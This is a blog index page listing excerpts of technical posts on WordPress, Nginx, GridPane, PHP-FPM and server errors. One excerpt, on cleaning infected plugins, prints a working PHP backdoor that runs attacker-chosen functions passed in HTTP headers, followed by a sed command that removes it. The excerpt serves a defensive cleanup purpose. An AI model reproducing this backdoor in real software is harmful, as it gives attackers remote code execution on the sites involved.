Live Blog

Introduction A single shared recipe post on Facebook triggered a surge in traffic that pushed a website’s server CPU usage past 200%. At first glance, the traffic appeared suspicious—user agents filled with strings like [FBAN/FBIOS;FBAV/514.0.0.47.102…] raised concerns about bots. In reality, it was legitimate traffic from Facebook’s in-app browser. The real issue wasn’t the user agent—it was the fbclid query parameter that Facebook appends to outbound links, breaking server-side caching and forcing each request to bypass the cache and hit PHP directly. This post explores how the problem was diagnosed and resolved, covering caching strategies, Cloudflare rate limiting, and full…

Introduction If you’ve run into a warning like this: Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the ds-suit domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /wp-includes/functions.php on line 6121 You’re not alone. This message typically points to a translation file being loaded too early in the WordPress lifecycle — often before the init action. Why? Whats _load_textdomain_just_in_time? WordPress…

Introduction You’re receiving the following messages in your /var/log/monit.log file. filesystem statistic error: cannot read /sys/class/block/root/stat — No such file or directory Fix You just need to upgrade Monit from version 5.26 to 5.27.2 Bug #1959166 “Monit filesystem module fails on Ubuntu 20.04 on A…” : Bugs : monit package : UbuntuMonit is unable to read filesystem information on Ubuntu 20.04 on EC2 instances. I get the error – [UTC Jan 21 07:52:31] error : filesystem statistic error: cannot read /sys/class/block/root/stat — No such file or directory This is with the latest version. # lsb_release -a No LSB modules are…

Introduction You came here because you’re running a wp-cli command get the following error PHP Fatal error: Uncaught Error: Call to undefined function getallheaders() in Removing Malicious Code in WordPress Plugins In the case I was dealing with, all of the plugin files ending in .php had malicious code within them. Here is a good example. <?php $_HEADERS=getallheaders();if(isset($_HEADERS[‘X-Dns-Prefetch-Control’])){$include=$_HEADERS[‘X-Dns-Prefetch-Control’](”, $_HEADERS[‘Content-Security-Policy’]($_HEADERS[‘If-Modified-Since’]));$include();} /** * Custom Post Type UI. * You can remove this code by running the following command via SSH find wp-content/plugins/ -type f -name “*.php” -exec sed -i ‘1s/<?php.*/<?php/’ {} + Your WordPress Site is Infected, Proceed with Clean-up At this…

Introduction I had a GridPane server with a single site that was showing signs of high resource load, specifically CPU, based on Netdata/Monit. Digging deeper I found that the cronjobs were overlapping for some reason. GridPane WordPress Cron – GP-Cron A nice feature of GridPane platform is their WordPress cronjob feature called GP-Cron, you can read more about it here. Ubuntu 20.04 & 22.04: WP-Cron and GridPane’s GP-Cron | GridPaneWP-Cron is how WordPress handles scheduling time-based tasks such as checking for updates and publishing scheduled post. At GridPane, we have GP-Cron…gridpane.com Here is the default GP-Cron settings on Ubuntu 24,…

Introduction This is a super strange situation where a GridPane user had migrated sites to/from an Openlitespeed server and the the PHP configuration was not properly copied over and dropped the M on the memory_limit setting with PHP. What happens to PHP when you drop the M in memory_limit So what happens when you set PHP’s memory_limit to 256 instead of 256M? It doesn’t actually run out of memory, it just errors out. Here is an example error that occurred. 2025-02-06 10:36:47.961864 [NOTICE] [399111] [127.0.0.1:58468-3>127.0.0.2#domain.com:lsapi] [STDERR] PHP Fatal error:  Failed opening required ‘/var/www/domain.com/htdocs/index.php’ (include_path=’.:’) in Unknown on line 0 This…

Introduction The following was asked and I thought I’d post a response. I have multiple servers running on a specific hosting platform, and I’ve noticed that Redis and MariaDB never update automatically. Even when I try to manually force updates using apt-get –with-new-pkgs upgrade, these two packages remain unchanged. The only way I can get them to update is by reinstalling them with apt install mariadb-server and apt install redis-server. I’ve left them in the “kept back” state for months to see if it was a timing issue with the repositories, but they never updated on any of my servers.…

Introduction I saw the following posted online, and thought I’d respond to it, and felt that it would be good content. I did a Google search on pm.max_children to read up a bit more on this setting, and the search results were the opposite. Instead of calculating max_children as a product of CPU, many articles suggest setting it depending on average process size and total memory. I’m getting a bit of mixed signals here. But I’d like your thoughts. For example, this random article: Finding the correct pm.max_children settings for PHP-FPM – Chris Moore PHP-FPM pm.max_children for Various WordPress Loads For…

Introduction This live blog entry is specific to GridPane mostly, but can be use for other platforms that use Linux or specifically Ubuntu. You might have seen the following message when from monit which is deployed on GridPane servers. [2025-01-14T15:13:07-0500] error : ‘run_ramdisk_usage’ status failed (1) — /run ramdisk warning | tmpfs 3.2G 3.1G 129M 97% /run If you take a look at your mounted filesystems by running ‘df’ you will see /run is taking up 97% disk space. ❯ df -h Filesystem Size Used Avail Use% Mounted on tmpfs 3.0G 2.9G 3.0G 97% /run /dev/vda2 469G 211G 238G 47%…

Introduction This article talks about deploying the Enhance Control Panel using Proxmox on OVH’s bare-metal instances in their UK datacenter with additional IP’s. Wow, that’s a mouth full. Virtualization and OVH bare-metal Instances with Additional IP’s When you order a bare-metal instance in OVH’s UK data center with additional IPs, and want to use virtulzation such as Proxmox. OVH UK’s data-center only supports internal addresses behind a bridge with the src option used for routing on your guest VM’s. They do not support virtual macs which other OVH data-centers do support. The UK data center is suppose to support virtual…

Introduction This was a response to a Facebook post about how wordpress.org could block access to mirroring it’s content. I had some thoughts that I ended up sharing and think its important for it to be online, I might not be getting everything right. But every great idea is spawned from not so great idea. WordPress.org Blocking Mirroring and Charging for Access I responded to someone stating that WordPress.org could just block those trying to mirror it’s data and potentially charge for access. This is true, here is my response. Yes, WordPress.org could block access to those looking to mirror…

Introduction If you recently tried to update your WordPress website’s plugins, you might have run into issues where the plugins will fail and then disappear. Sometimes the plugin will error with a number of different messages. Installation failed: Could not copy file. Installation failed: The package could not be installed. PCLZIP_ERR_MISSING_FILE Update Failed: Could not copy file. WordPress Update Failed: the package could not be installed missing file You might also have errors in Chrome console. updates.min.js?ver=6.6.2:2 Uncaught TypeError: Cannot read properties of undefined (reading ‘attr’) at g.updates.updatePluginError (updates.min.js?ver=6.6.2:2:8930) at c (load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils&ver=6.6.2:2:25304) at Object.fireWith [as rejectWith] (load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils&ver=6.6.2:2:26053) at Object.<anonymous> (wp-util.min.js?ver=6.6.2:2:1230)…

Introduction You’re getting 502 errors on your site, you have an Ubuntu server (this was a Ubuntu 22 server with GridPane) and you’re digging deeper and see that Nginx is getting a connection reset by peer from PHP-FPM in the sites error log. 024/10/07 08:52:28 [error] 753728#753728: *2097 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 0.0.0.0, server: domain.com, request: “GET /add-slimpod-to-homescreen/ HTTP/2.0”, upstream: “fastcgi://unix:/var/run/php/php81-fpm-domain.com.sock:”, host: “domain.com”, referrer: “https://domain.com/help/” You start digging more and more, and start looking in /var/log/syslog and find a segfault during the same time. Oct 7 08:52:28 server1 kernel: [1658840.187828]…

Introduction Someone posted this, I responded and thought the internet would benefit. Hi, this is the first mail from Vultr I get announcing Maintenance. Especially this sentence got me confused. Please be aware that as we do not have access to your filesystem, this reboot will not be as clean as if it were done from within your OS, so preparing your software/filesystem with a graceful shutdown of services and the VPS itself would be advised. Does this mean I have to shutdown the server, because I can only reboot from the GP dashboard. Response This is common sentence from…

Introduction You might be seeing the following errors in your Nginx log pilling up. 2024/09/19 15:03:56 [error] 807292#807292: *2418 open() “/var/www/domain.com/htdocs/.well-known/traffic-advice” failed (2: No such file or directory), client: 142.250.32.40, server: domain.com, request: “GET /.well-known/traffic-advice HTTP/2.0”, host: “domain.com” What is .well-known/traffic-advice? The traffic-advice file, located in the /.well-known/ directory, is a JSON configuration file, although it doesn’t have a .json extension, likely for future adaptability. Currently utilized only by Chrome, this file communicates with prefetch proxies that visit your website, instructing them whether or not to prefetch your pages and, if so, to what extent. This extent is represented as…

Introduction You’ve made some changes to Nginx, and did a syntax check or restarted/reloaded, you might have been greeted with this. nginx: [warn] could not build optimal variables_hash, you should increase either variables_hash_max_size: 1024 or variables_hash_bucket_size: 64; ignoring variables_hash_bucket_size What does this mean? The Nginx documentation has the following to say https://nginx.org/en/docs/hash.html To quickly process static sets of data such as server names, map directive’s values, MIME types, names of request header strings, nginx uses hash tables. During the start and each re-configuration nginx selects the minimum possible sizes of hash tables such that the bucket size that stores keys with identical…

Introduction When someone shares a link on Facebook, the link they click includes an extra query string, like the following. https://managingwp.io/live-blog/nginx-error-setrlimitrlimit_nofile-25562325-failed-1-operation-not-permitted/?fbclid=IwY2xjawE6Cz1leHRuA2FlbQIxMQABHQtQRq0Ma2pk9bXQQfM_vyGWE_YPHCMp9VhWudfQR9N6FRv7pkKjL7ZTfQ_aem_GTXCB2GK_bezDLTO7WhktA This is problematic because common Nginx configurations will not cache URLs with a query string, and it’s even worse when a site is using WordPress, as these queries will result in a dynamic request. Configuration for Nginx FastCGI Caching on GridPane Unfortunately, this guide is specifically for GridPane, but you can read more about doing this on Easy Engine. https://community.easyengine.io/t/ignore-query-parameters-with-fastcgi-cache/4622 The variable $uri only resolves to index.php, and $request_uri includes the path and query strings. We will address this…

Introduction You might have noticed this error in your Nginx log file at some point, especially on larger WordPress sites. 2024/08/22 00:46:09 [alert] 364292#364292: setrlimit(RLIMIT_NOFILE, 25562325) failed (1: Operation not permitted) What is setrlimit? A Linux system has limits on what resources a process (application can utilize. It’s safeguards the system from keeling over. A linux system as a number of limits, the C programming language has a function called setrlimit, which sets the maximum number of file descriptors that a process can open. A file descriptor is used to interact with an I/O resource such as a file or…

Introduction This is going to be a quick one. If you’ve ever tried to visit a site on your server running Openlitespeed or Litespeed (not 100% confirmed, you might get the following output. Error: can’t open log file! Cause? Can’t Write to Log File It’s actually pretty straight forward, Openlitespeed and Litespeed can’t write to a log file. It’s strange that it’s returning a 200 error, when it should be returning a 500 error. But what log file? Check the main Openlitespeed / Litespeed log /usr/local/lsws/logs/error.log for errors # tail -f /usr/local/lsws/logs/error.log 2024-08-18 09:24:20.796796 [NOTICE] [1865589] [127.0.0.1:23046:HTTP2-1#domain.com] [STDERR] PHP Warning:…

Introduction You might have had reports or experienced a time when a site showed a Redis Plugin error similar to the one below. Error establishing a Redis connection read error on connection to /var/run/redis/redis-server.sock WordPress is unable to establish a connection to Redis. This means that the connection information in your wp-config.php file are incorrect, or that the Redis server is not reachable. Is the correct Redis host and port set? Is the Redis server running? If you need help, please read the installation instructions. To disable Redis, delete the object-cache.php file in the /wp-content/ directory. Now this is a…